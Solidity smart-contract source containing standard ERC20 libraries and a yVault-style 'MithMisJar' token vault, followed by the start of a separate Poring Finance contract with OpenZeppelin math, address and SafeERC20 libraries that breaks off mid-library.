src/lib/erc20.sol // File: contracts/GSN/Context.sol // SPDX-License-Identifier: MIT /* pragma solidity ^0.6.0; */ /* import "./safe-math.sol"; */ /* import "./context.sol"; */ // File: contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } ////// src/mith-mis-jar.sol // https://github.com/iearn-finance/vaults/blob/master/contracts/vaults/yVault.sol /* pragma solidity ^0.6.7; */ /* import "./interfaces/strategy.sol"; */ /* import "./lib/erc20.sol"; */ /* import "./lib/safe-math.sol"; */ contract MithMisJar is ERC20 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint256 public min = 9500; uint256 public constant max = 10000; address public strategy; constructor(IStrategy _strategy) public ERC20( string(abi.encodePacked(ERC20(_strategy.want()).name(), "vault")), string(abi.encodePacked("v", ERC20(_strategy.want()).symbol())) ) { _setupDecimals(ERC20(_strategy.want()).decimals()); token = IERC20(_strategy.want()); strategy = address(_strategy); } function balance() public view returns (uint256) { return token.balanceOf(address(this)).add( IStrategy(strategy).balanceOf() ); } // Custom logic in here for how much the jars allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint256) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { require(IStrategy(strategy).isWhitelisted(msg.sender), "Not whitelisted"); uint256 _bal = available(); token.safeTransfer(strategy, _bal); IStrategy(strategy).deposit(); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint256 _amount) public { uint256 _pool = balance(); uint256 _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint256 _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint256 shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint256 _shares) public { uint256 r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint256 b = token.balanceOf(address(this)); if (b < r) { uint256 _withdraw = r.sub(b); IStrategy(strategy).withdraw(_withdraw); uint256 _after = token.balanceOf(address(this)); uint256 _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } token.safeTransfer(msg.sender, r); } function getRatio() public view returns (uint256) { return balance().mul(1e18).div(totalSupply()); } }

True

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/* PORING SPAWNER domain: poring.finance website: https://poring.finance telegram: t.me/poringfinance medium: https://medium.com/@poring.finance/welcome-to-poring-finance-a4118bf057d1 __________________ __________.___ _______ ________ \______ \_____ \\______ \ |\ \ / _____/ | ___// | \| _/ |/ | \/ \ ___ | | / | \ | \ / | \ \_\ \ |____| \_______ /____|_ /___\____|__ /\______ / \/ \/ \/ \/ forked from SUSHI and YUNO and Kimchi */ pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return 